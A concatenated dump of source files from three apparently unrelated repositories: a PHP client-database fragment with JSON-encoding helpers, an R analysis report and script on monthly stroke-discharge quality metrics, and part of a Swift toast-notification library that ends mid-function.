echo "Bind_param success";
}
else
echo "Bind_param failed " . $sql->errno . ") " . $sql->error;
if ($sql->execute())
echo "Execute success";
else
echo "Execute failed " . $sql->errno . ") " . $sql->error;
// $sql = "INSERT INTO client VALUES ($ncli, $nom, $adresse, $localite, $categorie, $compte)";
// if (mysqli_query($connexion, $sql))
// {
// echo "Success";
// }
// else
// {
// echo "Failed";
// }
}
function rechercheLocalite()
{
if (!empty($_POST["LOCALITE"]))
{
$requete = $connexion->prepare("SELECT * FROM client WHERE UPPER(LOCALITE) LIKE UPPER(:loc)");
$requete->bind_param(':loc', $_POST["LOCALITE"]);
$requete->execute();
}
else
{
$requete = $connexion->prepare("SELECT * FROM client");
$requete->execute();
}
$res = safe_json_encode($requete->fetchAll());
$retour["resultat"]["clients"] = $res;
echo json_encode($retour);
}
//Attention, l'encodage en JSON est UTF8 : json_encode();
function safe_json_encode($value, $options = 0, $depth = 512, $utfErrorFlag = false) {
$encoded = json_encode($value, $options, $depth);
switch (json_last_error()) {
case JSON_ERROR_NONE:
return $encoded;
case JSON_ERROR_DEPTH:
return 'Maximum stack depth exceeded'; // or trigger_error() or throw new Exception()
case JSON_ERROR_STATE_MISMATCH:
return 'Underflow or the modes mismatch'; // or trigger_error() or throw new Exception()
case JSON_ERROR_CTRL_CHAR:
return 'Unexpected control character found';
case JSON_ERROR_SYNTAX:
return 'Syntax error, malformed JSON'; // or trigger_error() or throw new Exception()
case JSON_ERROR_UTF8:
$clean = utf8ize($value);
if ($utfErrorFlag) {
return 'UTF8 encoding error'; // or trigger_error() or throw new Exception()
}
return safe_json_encode($clean, $options, $depth, true);
default:
return 'Unknown error'; // or trigger_error() or throw new Exception()
}
}
function utf8ize($mixed) {
if (is_array($mixed)) {
foreach ($mixed as $key => $value) {
$mixed[$key] = utf8ize($value);
}
} else if (is_string ($mixed)) {
return utf8_encode($mixed);
} else if (is_object($mixed)) {
$a = (array)$mixed; // from object to array
return utf8ize($a);
}
return $mixed;
}
function json_error_string($code)
{
switch ($code)
{
case JSON_ERROR_NONE: return "No error";
case JSON_ERROR_DEPTH: return "The maximum stack depth has been exceeded";
case JSON_ERROR_STATE_MISMATCH: return "Invalid or malformed JSON";
case JSON_ERROR_CTRL_CHAR: return "Control character error, possibly incorrectly encoded";
case JSON_ERROR_SYNTAX: return "Syntax error";
case JSON_ERROR_UTF8: return "Malformed UTF-8 characters, possibly incorrectly encoded";
case JSON_ERROR_RECURSION: return "One or more recursive references in the value to be encoded";
case JSON_ERROR_INF_OR_NAN: return "One or more NAN or INF values in the value to be encoded";
case JSON_ERROR_UNSUPPORTED_TYPE: return "A value of a type that cannot be encoded was given";
case JSON_ERROR_INVALID_PROPERTY_NAME: return "A property name that cannot be encoded was given";
case JSON_ERROR_UTF16: return "Malformed UTF-16 characters, possibly incorrectly encoded";
}
}
?>
|
4bf0dba6c309c3384b2c95a9e608d4c54951742e
|
[
"PHP"
] | 2
|
PHP
|
Mockyy/ServiceREST
|
9ac9769cb1e26e3b6baf0750d2faf6b8b9a4949a
|
71fda3e48d0de2e2bb92b5f093b9d44acd66657f
|
refs/heads/master
|
<repo_name>OuhscBbmc/suku-cqi-1<file_sep>/analysis/month-performance-1/month-performance-1.md
---
title: Skeleton Report 1
date: "Date: 2020-02-29"
output:
# radix::radix_article: # radix is a newer alternative that has some advantages over `html_document`.
html_document:
keep_md: yes
toc: 4
toc_float: true
number_sections: true
css: ../common/styles.css # analysis/common/styles.css
---
This report covers the analyses used in the ZZZ project (<NAME>, PI).
<!-- Set the working directory to the repository's base directory; this assumes the report is nested inside of two directories.-->
<!-- Set the report-wide options, and point to the external code file. -->
<!-- Load 'sourced' R files. Suppress the output when loading sources. -->
<!-- Load packages, or at least verify they're available on the local machine. Suppress the output when loading packages. -->
<!-- Load any global functions and variables declared in the R file. Suppress the output. -->
<!-- Declare any global functions specific to a Rmd output. Suppress the output. -->
<!-- Load the datasets. -->
<!-- Tweak the datasets. -->
Summary {.tabset .tabset-fade .tabset-pills}
===========================================================================
Notes
---------------------------------------------------------------------------
1. The current report covers 36 month, with 2 unique values for `month`.
Unanswered Questions
---------------------------------------------------------------------------
Answered Questions
---------------------------------------------------------------------------
Graphs
===========================================================================
Marginals
---------------------------------------------------------------------------
Scatterplots
---------------------------------------------------------------------------
<!-- -->
Models
===========================================================================
Model Exploration
---------------------------------------------------------------------------
```
Model proportion w/ Gaussian link
```
```
Call:
lm(formula = proportion ~ 1 + post, data = ds_model, subset = (metric !=
"cumulative"))
Residuals:
Min 1Q Median 3Q Max
-0.82857 -0.02857 0.11828 0.11828 0.17143
Coefficients:
Estimate Std. Error t value Pr(>|t|)
(Intercept) 0.88172 0.05553 15.878 6.91e-14
post -0.05315 0.10495 -0.506 0.617
Residual standard error: 0.2356 on 23 degrees of freedom
Multiple R-squared: 0.01103, Adjusted R-squared: -0.03197
F-statistic: 0.2565 on 1 and 23 DF, p-value: 0.6173
```
```
Model logit w/ Gaussian link
```
```
Call:
lm(formula = logit ~ 1 + post, data = ds_model, subset = (metric !=
"cumulative"))
Residuals:
Min 1Q Median 3Q Max
-3.9261 -0.2373 0.4174 0.6790 1.0155
Coefficients:
Estimate Std. Error t value Pr(>|t|)
(Intercept) 1.8852 0.2767 6.814 5.99e-07
post -0.2617 0.5228 -0.500 0.621
Residual standard error: 1.174 on 23 degrees of freedom
Multiple R-squared: 0.01077, Adjusted R-squared: -0.03224
F-statistic: 0.2505 on 1 and 23 DF, p-value: 0.6215
```
```
Model numerator & denominator w/ Poisson link
```
```
Call:
glm(formula = numerator/denominator ~ 1 + post, family = quasipoisson,
data = ds_model, subset = (metric != "cumulative"))
Deviance Residuals:
Min 1Q Median 3Q Max
-1.28730 -0.03157 0.12329 0.12329 0.18234
Coefficients:
Estimate Std. Error t value Pr(>|t|)
(Intercept) -0.12588 0.06429 -1.958 0.0625
post -0.06218 0.12427 -0.500 0.6216
(Dispersion parameter for quasipoisson family taken to be 0.06559416)
Null deviance: 2.3827 on 24 degrees of freedom
Residual deviance: 2.3661 on 23 degrees of freedom
AIC: NA
Number of Fisher Scoring iterations: 4
```
Final Model
---------------------------------------------------------------------------
| | Estimate| Std. Error| t value| Pr(>|t|)|
|:-----------|--------:|----------:|-------:|------------------:|
|(Intercept) | -0.13| 0.06| -1.96| 0.06|
|post | -0.06| 0.12| -0.50| 0.62|
In the model that includes two predictors, the slope coefficent of `Miles per gallon` is -0.062176.
Session Information {#session-info}
===========================================================================
For the sake of documentation and reproducibility, the current report was rendered in the following environment. Click the line below to expand.
<details>
<summary>Environment <span class="glyphicon glyphicon-plus-sign"></span></summary>
```
─ Session info ───────────────────────────────────────────────────────────────
setting value
version R version 3.6.2 (2019-12-12)
os Ubuntu 19.10
system x86_64, linux-gnu
ui X11
language (EN)
collate en_US.UTF-8
ctype en_US.UTF-8
tz America/Chicago
date 2020-02-29
─ Packages ───────────────────────────────────────────────────────────────────
package * version date lib source
assertthat 0.2.1 2019-03-21 [1] CRAN (R 3.6.1)
backports 1.1.5 2019-10-02 [1] CRAN (R 3.6.1)
boot 1.3-24 2019-12-20 [4] CRAN (R 3.6.2)
callr 3.4.2 2020-02-12 [1] CRAN (R 3.6.2)
cli 2.0.1 2020-01-08 [1] CRAN (R 3.6.1)
colorspace 1.4-1 2019-03-18 [1] CRAN (R 3.6.1)
config 0.3 2018-03-27 [1] CRAN (R 3.6.1)
crayon 1.3.4 2017-09-16 [1] CRAN (R 3.6.1)
desc 1.2.0 2018-05-01 [1] CRAN (R 3.6.1)
devtools 2.2.2 2020-02-17 [1] CRAN (R 3.6.2)
digest 0.6.24 2020-02-12 [1] CRAN (R 3.6.2)
dplyr 0.8.4 2020-01-31 [1] CRAN (R 3.6.2)
ellipsis 0.3.0 2019-09-20 [1] CRAN (R 3.6.1)
evaluate 0.14 2019-05-28 [1] CRAN (R 3.6.1)
fansi 0.4.1 2020-01-08 [1] CRAN (R 3.6.1)
farver 2.0.3 2020-01-16 [1] CRAN (R 3.6.1)
fs 1.3.1 2019-05-06 [1] CRAN (R 3.6.1)
ggplot2 * 3.2.1 2019-08-10 [1] CRAN (R 3.6.1)
glue 1.3.1 2019-03-12 [1] CRAN (R 3.6.1)
gtable 0.3.0 2019-03-25 [1] CRAN (R 3.6.1)
highr 0.8 2019-03-20 [1] CRAN (R 3.6.1)
hms 0.5.3 2020-01-08 [1] CRAN (R 3.6.1)
htmltools 0.4.0 2019-10-04 [1] CRAN (R 3.6.1)
import 1.1.0 2015-06-22 [1] CRAN (R 3.6.1)
knitr * 1.28 2020-02-06 [1] CRAN (R 3.6.2)
labeling 0.3 2014-08-23 [1] CRAN (R 3.6.1)
lattice 0.20-40 2020-02-19 [1] CRAN (R 3.6.2)
lazyeval 0.2.2 2019-03-15 [1] CRAN (R 3.6.1)
lifecycle 0.1.0 2019-08-01 [1] CRAN (R 3.6.1)
lme4 * 1.1-21 2019-03-05 [1] CRAN (R 3.6.1)
magrittr 1.5 2014-11-22 [1] CRAN (R 3.6.1)
MASS 7.3-51.5 2019-12-20 [4] CRAN (R 3.6.2)
Matrix * 1.2-18 2019-11-27 [4] CRAN (R 3.6.1)
memoise 1.1.0 2017-04-21 [1] CRAN (R 3.6.1)
minqa 1.2.4 2014-10-09 [1] CRAN (R 3.6.1)
munsell 0.5.0 2018-06-12 [1] CRAN (R 3.6.1)
nlme 3.1-144 2020-02-06 [1] CRAN (R 3.6.2)
nloptr 1.2.1 2018-10-03 [1] CRAN (R 3.6.1)
pillar 1.4.3 2019-12-20 [1] CRAN (R 3.6.1)
pkgbuild 1.0.6 2019-10-09 [1] CRAN (R 3.6.1)
pkgconfig 2.0.3 2019-09-22 [1] CRAN (R 3.6.1)
pkgload 1.0.2 2018-10-29 [1] CRAN (R 3.6.1)
prettyunits 1.1.1 2020-01-24 [1] CRAN (R 3.6.2)
processx 3.4.2 2020-02-09 [1] CRAN (R 3.6.2)
ps 1.3.2 2020-02-13 [1] CRAN (R 3.6.2)
purrr 0.3.3 2019-10-18 [1] CRAN (R 3.6.1)
R6 2.4.1 2019-11-12 [1] CRAN (R 3.6.1)
Rcpp 1.0.3 2019-11-08 [1] CRAN (R 3.6.1)
readr 1.3.1 2018-12-21 [1] CRAN (R 3.6.1)
remotes 2.1.1 2020-02-15 [1] CRAN (R 3.6.2)
rlang 0.4.4 2020-01-28 [1] CRAN (R 3.6.2)
rmarkdown 2.1 2020-01-20 [1] CRAN (R 3.6.2)
rprojroot 1.3-2 2018-01-03 [1] CRAN (R 3.6.1)
scales 1.1.0 2019-11-18 [1] CRAN (R 3.6.1)
sessioninfo 1.1.1 2018-11-05 [1] CRAN (R 3.6.1)
stringi 1.4.6 2020-02-17 [1] CRAN (R 3.6.2)
stringr 1.4.0 2019-02-10 [1] CRAN (R 3.6.1)
testthat 2.3.1 2019-12-01 [1] CRAN (R 3.6.1)
tibble 2.1.3 2019-06-06 [1] CRAN (R 3.6.1)
tidyr 1.0.2 2020-01-24 [1] CRAN (R 3.6.2)
tidyselect 1.0.0 2020-01-27 [1] CRAN (R 3.6.2)
usethis 1.5.1 2019-07-04 [1] CRAN (R 3.6.1)
vctrs 0.2.3 2020-02-20 [1] CRAN (R 3.6.2)
withr 2.1.2 2018-03-15 [1] CRAN (R 3.6.1)
xfun 0.12 2020-01-13 [1] CRAN (R 3.6.1)
yaml 2.2.1 2020-02-01 [1] CRAN (R 3.6.2)
[1] /home/wibeasley/R/x86_64-pc-linux-gnu-library/3.6
[2] /usr/local/lib/R/site-library
[3] /usr/lib/R/site-library
[4] /usr/lib/R/library
```
</details>
Report rendered by wibeasley at 2020-02-29, 13:44 -0600 in 10 seconds.
<file_sep>/analysis/month-performance-1/month-performance-1.R
rm(list = ls(all.names = TRUE)) # Clear the memory of variables from previous run. This is not called by knitr, because it's above the first chunk.
# ---- load-sources ------------------------------------------------------------
#Load any source files that contain/define functions, but that don't load any other types of variables
# into memory. Avoid side effects and don't pollute the global environment.
# source("SomethingSomething.R")
# ---- load-packages -----------------------------------------------------------
library(ggplot2) # For graphing
library(lme4) # For multilevel models
import::from("magrittr", "%>%")
requireNamespace("dplyr")
# requireNamespace("RColorBrewer")
# requireNamespace("scales") #For formating values in graphs
# requireNamespace("mgcv) #For the Generalized Additive Model that smooths the longitudinal graphs.
# requireNamespace("TabularManifest") # remotes::install_github("Melinae/TabularManifest")
# ---- declare-globals ---------------------------------------------------------
options(show.signif.stars=F) #Turn off the annotations on p-values
config <- config::get()
levels_metric <- c(
"stroke", "antithromb", "anticoag", "statin", "smoking", "cumulative"
)
palette_dark <- list( # http://colrd.com/image-dna/50489/
# "#141e1f", # black
"boundary" = "#3e525c", # dark gray
"post" = "#27403a", # dark green
"pre" = "#804d1e" # dark brown
# "#77b6c4", # light blue
# "post" = "#185f63", # lighter green
# "pre" = "#c5873e" # lighter brown
)
palette_light <- list( # http://colrd.com/image-dna/50489/
# "#141e1f", # black
"boundary" = "#3e525c", # dark gray
# "post" = "#27403a", # dark green
# "pre" = "#804d1e", # dark brown
# "#77b6c4", # light blue
"post" = "#185f63", # lighter green
"pre" = "#c5873e" # lighter brown
)
# OuhscMunge::readr_spec_aligned(config$path_month_raw)
col_types <- readr::cols_only(
`month` = readr::col_date(format = ""),
`phase` = readr::col_character(),
`stroke_numerator` = readr::col_integer(),
`stroke_denominator` = readr::col_integer(),
`antithromb_numerator` = readr::col_integer(),
`antithromb_denominator` = readr::col_integer(),
`anticoag_numerator` = readr::col_integer(),
`anticoag_denominator` = readr::col_integer(),
`statin_numerator` = readr::col_integer(),
`statin_denominator` = readr::col_integer(),
`smoking_numerator` = readr::col_integer(),
`smoking_denominator` = readr::col_integer(),
`cumulative_numerator` = readr::col_integer(),
`cumulative_denominator` = readr::col_integer()
)
# ---- load-data ---------------------------------------------------------------
ds_wide <- readr::read_csv(config$path_month_raw, col_types = col_types)
# ---- tweak-data --------------------------------------------------------------
pattern <- "^(\\w+)_(numerator|denominator)$"
ds <-
ds_wide %>%
dplyr::mutate(
cumulative_numerator =
dplyr::coalesce(stroke_numerator , 0L) +
dplyr::coalesce(antithromb_numerator , 0L) +
dplyr::coalesce(anticoag_numerator , 0L) +
dplyr::coalesce(statin_numerator , 0L) +
dplyr::coalesce(smoking_numerator , 0L),
cumulative_denominator =
dplyr::coalesce(stroke_denominator , 0L) +
dplyr::coalesce(antithromb_denominator , 0L) +
dplyr::coalesce(anticoag_denominator , 0L) +
dplyr::coalesce(statin_denominator , 0L) +
dplyr::coalesce(smoking_denominator , 0L),
) %>%
tidyr::pivot_longer(
cols = tidyselect::matches(pattern),
names_to = c("metric", ".value"),
names_pattern = pattern
) %>%
# dplyr::filter(metric != "cumulative") %>%
dplyr::mutate(
post = dplyr::recode(phase, "pre" = 0L, "post" = 1L),
phase = factor(phase, levels = c("pre", "post")),
metric = factor(metric, levels = levels_metric),
proportion = numerator / denominator,
prior_lower = 1 / (denominator + 10),
prior_upper = 1 - 1 / (denominator + 10),
proportion_bounded = pmin(pmax(proportion, prior_lower), prior_upper),
# proportion_bounded = pmin(pmax(proportion, prior_upper), prior_lower),
logit = qlogis(proportion_bounded),
label = dplyr::if_else(
denominator == 0L,
sprintf(" --%% of %2i" , denominator),
sprintf("%4.0f%% of %2i", proportion * 100, denominator)
# sprintf(" --%% (%2i of %2i)" , numerator, denominator),
# sprintf("%4.0f%% (%2i of %2i)", proportion * 100, numerator, denominator)
),
)
# plot(ds$proportion, ds$proportion_bounded)
# ds$proportion_bounded
# dplyr::mutate(
# stroke_proportion = stroke_numerator / stroke_denominator ,
# antithromb_proportion = antithromb_numerator / antithromb_denominator ,
# anticoag_proportion = anticoag_numerator / anticoag_denominator ,
# statin_proportion = statin_numerator / statin_denominator ,
# smoking_proportion = smoking_numerator / smoking_denominator ,
# cumulative_proportion = cumulative_numerator / cumulative_denominator ,
# ) %>%
# dplyr::mutate(
# stroke_label = sprintf("%4.0f%% (%2i of %2i)", stroke_proportion * 100, stroke_numerator , stroke_denominator ),
# antithromb_label = sprintf("%4.0f%% (%2i of %2i)", antithromb_proportion * 100, antithromb_numerator , antithromb_denominator ),
# anticoag_label = sprintf("%4.0f%% (%2i of %2i)", anticoag_proportion * 100, anticoag_numerator , anticoag_denominator ),
# statin_label = sprintf("%4.0f%% (%2i of %2i)", statin_proportion * 100, statin_numerator , statin_denominator ),
# smoking_label = sprintf("%4.0f%% (%2i of %2i)", smoking_proportion * 100, smoking_numerator , smoking_denominator ),
# cumulative_label = sprintf("%4.0f%% (%2i of %2i)", cumulative_proportion * 100, cumulative_numerator , cumulative_denominator ),
# )
# ---- marginals ---------------------------------------------------------------
# # Inspect continuous variables
# histogram_continuous(d_observed=ds, variable_name="quarter_mile_sec", bin_width=.5, rounded_digits=1)
# # slightly better function: TabularManifest::histogram_continuous(d_observed=ds, variable_name="quarter_mile_sec", bin_width=.5, rounded_digits=1)
# histogram_continuous(d_observed=ds, variable_name="displacement_inches_cubed", bin_width=50, rounded_digits=1)
#
# # Inspect discrete/categorical variables
# histogram_discrete(d_observed=ds, variable_name="carburetor_count_f")
# histogram_discrete(d_observed=ds, variable_name="forward_gear_count_f")
# ---- scatterplots ------------------------------------------------------------
x_breaks <- ds$month
g1 <-
ds %>%
# dplyr::filter(metric == "statin") %>%
# dplyr::filter(metric == "smoking") %>%
ggplot(aes(x=month, y=proportion, size=denominator, group=metric, label=label, color =phase)) +
geom_text(aes(y = -Inf, size=10), alpha = .6, angle = 90, hjust = 0, family = "mono") +
geom_vline(xintercept = config$intervention_start, size = 4, color = "gray80", alpha = .4) +
annotate("text", label = "intervention starts", x = config$intervention_start, y = .5, hjust = .5, angle = 90, alpha = .4) +
geom_line(data=ds[!is.na(ds$proportion), ], size=.5, color = "gray70", inherit.aes = TRUE) +
geom_point(aes(fill = phase), shape=21, alpha = .5, na.rm = T) +
scale_x_date(breaks = x_breaks, date_labels = "%b\n%Y") +
scale_y_continuous(labels = scales::percent_format(accuracy = 1)) +
scale_color_manual(values = palette_dark, guide = "none") +
scale_fill_manual(values = palette_light, guide = "none") +
scale_size(guide = "none") +
coord_cartesian(ylim = c(0, 1)) +
facet_wrap("metric", ncol = 2) +
theme_light() +
theme(axis.ticks = element_blank()) +
labs(x = NULL, y = "Percent Completed")
g1
# ---- models ------------------------------------------------------------------
ds_model <-
ds %>%
dplyr::filter(0L < denominator)
cat("\n\n Model proportion w/ Gaussian link")
m1a <- lm(proportion ~ 1 + post, data = ds_model, subset = (metric != "cumulative"))
summary(m1a)
cat("\n\n Model logit w/ Gaussian link")
m1b <- lm(logit ~ 1 + post, data = ds_model, subset = (metric != "cumulative"))
summary(m1b)
cat("\n\n Model numerator & denominator w/ Poisson link")
m2 <- glm(
numerator / denominator ~ 1 + post,
family = quasipoisson,
# subset = (metric == "statin")
subset = (metric != "cumulative"),
data = ds_model,
)
summary(m2)
# m4 <- glmer(
# numerator ~ 1 + post + (1 | metric) + offset(log(denominator)),
# # family="poisson",
# family=poisson(link="log"),
# data = ds[0L < ds$denominator, ]
# )
# summary(m4)
#
# # library(MCMCglmm)
# summary(MCMCglmm::MCMCglmm(
# numerator ~ 1 + post + offset(log(denominator)),
# family = "poisson",
# data = ds,
# verbose = FALSE
# ))
# ---- model-results-table -----------------------------------------------
summary(m2)$coef %>%
knitr::kable(
digits = 2,
format = "markdown"
)
# Uncomment the next line for a dynamic, JavaScript [DataTables](https://datatables.net/) table.
# DT::datatable(round(summary(m2)$coef, digits = 2), options = list(pageLength = 2))
<file_sep>/README.md
# suku-cqi-1
stroke discharge requirements
|
6f47815530813d3c7c0596648c80b9a5b777a976
|
[
"Markdown",
"R"
] | 3
|
Markdown
|
OuhscBbmc/suku-cqi-1
|
36cd2f27204436666418bf44e07d6a9d3b0bf733
|
0bd7c8dcef76a0be110bf9e201045dd91c478d58
|
refs/heads/master
|
<repo_name>aronspringfield/Loaf<file_sep>/Loaf/Loaf/Presenter/Window.swift
//
// Window.swift
// LoafPlayground
//
// Created by <NAME> on 26/04/2019.
// Copyright © 2019 Palringo. All rights reserved.
//
import UIKit
class Window: UIWindow {
override init(frame: CGRect) {
super.init(frame: frame)
self.rootViewController = UIViewController()
self.rootViewController?.view.isUserInteractionEnabled = false
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func hitTest(_ point: CGPoint, with event: UIEvent?) -> UIView? {
for view in subviews {
if let loafView = view as? LoafView {
let convertedPoint = self.convert(point, to: loafView)
if loafView.bounds.contains(convertedPoint) {
return loafView
}
}
}
return nil
}
}
<file_sep>/Loaf/Loaf/Loaf.swift
//
// Loaf.swift
// Loaf
//
// Created by <NAME> on 2019-02-04.
// Copyright © 2019 <NAME>. All rights reserved.
//
import UIKit
final public class Loaf {
public enum Message {
case string(String)
case attributedString(NSAttributedString)
}
// MARK: - Specifiers
/// Define a custom style for the loaf.
public struct Style {
/// Specifies the position of the icon on the loaf. (Default is `.left`)
///
/// - left: The icon will be on the left of the text
/// - right: The icon will be on the right of the text
public enum IconAlignment {
case leading
case trailing
}
/// The background color of the loaf.
let backgroundColor: UIColor
/// The color of the label's text
let textColor: UIColor
/// The color of the icon (Assuming it's rendered as template)
let tintColor: UIColor
/// The font of the label
let font: UIFont
/// The icon on the loaf
let icon: UIImage?
let textAlignment: NSTextAlignment
/// The position of the icon
let iconAlignment: IconAlignment
public init(backgroundColor: UIColor, textColor: UIColor = .white, tintColor: UIColor = .white, font: UIFont = UIFont.systemFont(ofSize: 14, weight: .medium), icon: UIImage? = Icon.info, textAlignment: NSTextAlignment = .natural, iconAlignment: IconAlignment = .leading) {
self.backgroundColor = backgroundColor
self.textColor = textColor
self.tintColor = tintColor
self.font = font
self.icon = icon
self.textAlignment = textAlignment
self.iconAlignment = iconAlignment
}
}
/// Defines the loaf's status. (Default is `.info`)
///
/// - success: Represents a success message
/// - error: Represents an error message
/// - warning: Represents a warning message
/// - info: Represents an info message
/// - custom: Represents a custom loaf with a specified style.
public enum State {
case success
case error
case warning
case info
case custom(Style)
}
/// Defines the loaction to display the loaf. (Default is `.bottom`)
///
/// - top: Top of the display
/// - bottom: Bottom of the display
public enum Location: Equatable {
case top
case bottom
case custom(CGFloat)
public static func ==(lhs: Location, rhs: Location) -> Bool {
switch (lhs, rhs) {
case (.top, .top),
(.bottom, .bottom):
return true
case let (.custom(a), .custom(b)):
return a == b
default:
return false
}
}
}
/// Defines either the presenting or dismissing direction of loaf. (Default is `.vertical`)
///
/// - left: To / from the left
/// - right: To / from the right
/// - vertical: To / from the top or bottom (depending on the location of the loaf)
public enum Direction {
case left
case right
case vertical
case `static`
}
/// Icons used in basic states
public enum Icon {
public static let success = Icons.imageOfSuccess().withRenderingMode(.alwaysTemplate)
public static let error = Icons.imageOfError().withRenderingMode(.alwaysTemplate)
public static let warning = Icons.imageOfWarning().withRenderingMode(.alwaysTemplate)
public static let info = Icons.imageOfInfo().withRenderingMode(.alwaysTemplate)
}
// MARK: - Properties
var message: Message
var state: State
var location: Location
var duration: TimeInterval
var presentingDirection: Direction
var dismissingDirection: Direction
var completionHandler: ((Bool) -> Void)? = nil
// MARK: - Public methods
public init(_ message: Message,
duration: TimeInterval = 3,
state: State = .info,
location: Location = .bottom,
presentingDirection: Direction = .vertical,
dismissingDirection: Direction = .vertical,
completionHandler: ((Bool) -> Void)? = nil) {
self.message = message
self.duration = duration
self.state = state
self.location = location
self.presentingDirection = presentingDirection
self.dismissingDirection = dismissingDirection
self.completionHandler = completionHandler
}
public static func show(_ message: String,
duration: TimeInterval = 3,
state: State = .info,
location: Location = .bottom,
presentingDirection: Direction = .vertical,
dismissingDirection: Direction = .vertical,
completionHandler: ((Bool) -> Void)? = nil) {
show(.string(message),
duration: duration,
state: state,
location: location,
presentingDirection: presentingDirection,
dismissingDirection: dismissingDirection,
completionHandler: completionHandler)
}
public static func show(_ message: Message,
duration: TimeInterval = 3,
state: State = .info,
location: Location = .bottom,
presentingDirection: Direction = .vertical,
dismissingDirection: Direction = .vertical,
completionHandler: ((Bool) -> Void)? = nil) {
let loaf = Loaf(message, duration: duration,
state: state,
location: location,
presentingDirection: presentingDirection,
dismissingDirection: dismissingDirection,
completionHandler: completionHandler)
let loafView = LoafView(loaf)
Animator.shared.present(loafView: loafView)
}
public static func prepare() {
Animator.shared.prepare()
}
public static func isShowing() -> Bool {
return Animator.shared.queue.count > 0 || Animator.shared.isPresenting
}
}
final class LoafView: UIView {
var loaf: Loaf
let label = UILabel()
let imageView = UIImageView(image: nil)
var font = UIFont.systemFont(ofSize: 14, weight: .medium)
var textAlignment: NSTextAlignment = .natural
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
init(_ toast: Loaf) {
self.loaf = toast
var height: CGFloat = 0
switch loaf.message {
case .string(let string):
height = max(string.heightWithConstrainedWidth(width: 240, font: font) + 12, 40)
case .attributedString(let attrString):
height = max(attrString.string.heightWithConstrainedWidth(width: 240, font: font) + 12, 40)
}
let contentSize = CGSize(width: 280, height: height)
super.init(frame: CGRect(origin: .zero, size: contentSize))
if case let Loaf.State.custom(style) = loaf.state {
self.font = style.font
self.textAlignment = style.textAlignment
}
clipsToBounds = true
layer.cornerRadius = 6
switch loaf.message {
case .string(let string):
label.text = string
case .attributedString(let attrString):
label.attributedText = attrString
}
label.numberOfLines = 0
label.lineBreakMode = .byWordWrapping
label.textColor = .white
label.font = font
label.textAlignment = textAlignment
label.setContentCompressionResistancePriority(.required, for: .vertical)
label.translatesAutoresizingMaskIntoConstraints = false
imageView.tintColor = .white
imageView.contentMode = .scaleAspectFit
imageView.translatesAutoresizingMaskIntoConstraints = false
switch loaf.state {
case .success:
imageView.image = Loaf.Icon.success
backgroundColor = UIColor(hexString: "#2ecc71")
constrainWithIconAlignment(.leading)
case .warning:
imageView.image = Loaf.Icon.warning
backgroundColor = UIColor(hexString: "##f1c40f")
constrainWithIconAlignment(.leading)
case .error:
imageView.image = Loaf.Icon.error
backgroundColor = UIColor(hexString: "##e74c3c")
constrainWithIconAlignment(.leading)
case .info:
imageView.image = Loaf.Icon.info
backgroundColor = UIColor(hexString: "##34495e")
constrainWithIconAlignment(.leading)
case .custom(style: let style):
imageView.image = style.icon
backgroundColor = style.backgroundColor
imageView.tintColor = style.tintColor
label.textColor = style.textColor
label.font = style.font
constrainWithIconAlignment(style.iconAlignment, showsIcon: imageView.image != nil)
}
let tapGesture = UITapGestureRecognizer(target: self, action: #selector(handleTap))
addGestureRecognizer(tapGesture)
}
@objc private func handleTap() {
Animator.shared.dismiss(loafView: self)
}
private func constrainWithIconAlignment(_ alignment: Loaf.Style.IconAlignment, showsIcon: Bool = true) {
addSubview(label)
if showsIcon {
addSubview(imageView)
switch alignment {
case .leading:
NSLayoutConstraint.activate([
imageView.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 10),
imageView.centerYAnchor.constraint(equalTo: centerYAnchor),
imageView.heightAnchor.constraint(equalToConstant: 28),
imageView.widthAnchor.constraint(equalToConstant: 28),
label.leadingAnchor.constraint(equalTo: imageView.trailingAnchor, constant: 10),
label.trailingAnchor.constraint(equalTo: trailingAnchor, constant: -4),
label.topAnchor.constraint(equalTo: topAnchor),
label.bottomAnchor.constraint(equalTo: bottomAnchor)
])
case .trailing:
NSLayoutConstraint.activate([
imageView.trailingAnchor.constraint(equalTo: trailingAnchor, constant: -10),
imageView.centerYAnchor.constraint(equalTo: centerYAnchor),
imageView.heightAnchor.constraint(equalToConstant: 28),
imageView.widthAnchor.constraint(equalToConstant: 28),
label.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 10),
label.trailingAnchor.constraint(equalTo: imageView.leadingAnchor, constant: -4),
label.topAnchor.constraint(equalTo: topAnchor),
label.bottomAnchor.constraint(equalTo: bottomAnchor)
])
default:
break
}
} else {
NSLayoutConstraint.activate([
label.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 10),
label.trailingAnchor.constraint(equalTo: trailingAnchor, constant: -10),
label.topAnchor.constraint(equalTo: topAnchor),
label.bottomAnchor.constraint(equalTo: bottomAnchor)
])
}
}
}
<file_sep>/Loaf/Loaf/Presenter/Animator.swift
//
// Animator.swift
// Loaf
//
// Created by <NAME> on 2019-02-05.
// Copyright © 2019 <NAME>. All rights reserved.
//
import UIKit
enum LoafAnimationState {
case none
case presenting
case presented
case dismissing
}
final class Animator: NSObject {
static let shared = Animator()
private lazy var window: Window = {
let window = Window(frame: UIScreen.main.bounds)
window.windowLevel = UIWindow.Level.alert - 1
let previousKeyWindow = UIApplication.shared.keyWindow
window.makeKeyAndVisible()
previousKeyWindow?.makeKey()
return window
}()
private var animationState: LoafAnimationState = .none
private(set) var queue = [LoafView]()
private var dismissTimer: Timer?
var isPresenting: Bool {
get {
return window.subviews.count > 1
}
}
func prepare() {
// Invoke lazy loading
window.frame.origin = .zero
}
func present(loafView: LoafView) {
queue.insert(loafView, at: 0)
presentNext()
}
func dismiss(loafView: LoafView) {
animateOut(loafView: loafView)
}
private func presentNext() {
guard animationState == .none else {
return
}
guard queue.count > 0 else {
return
}
if let loafView = queue.popLast() {
animateIn(loafView: loafView)
}
}
private func animateIn(loafView: LoafView) {
guard animationState == .none else {
return
}
animationState = .presenting
window.addSubview(loafView)
let superviewFrame = window.frame
let xPos: CGFloat = (superviewFrame.size.width - loafView.frame.size.width) * 0.5
let yPos: CGFloat
switch loafView.loaf.location {
case .bottom:
yPos = superviewFrame.size.height - loafView.frame.size.height - 40
case .top:
yPos = 50
case .custom(let yPoint):
yPos = yPoint
}
let endingFrame: CGRect = CGRect(x: xPos, y: yPos, width: loafView.frame.width, height: loafView.frame.height)
var startingFrame = endingFrame
switch loafView.loaf.presentingDirection {
case .left:
startingFrame.origin.x -= superviewFrame.width
case .right:
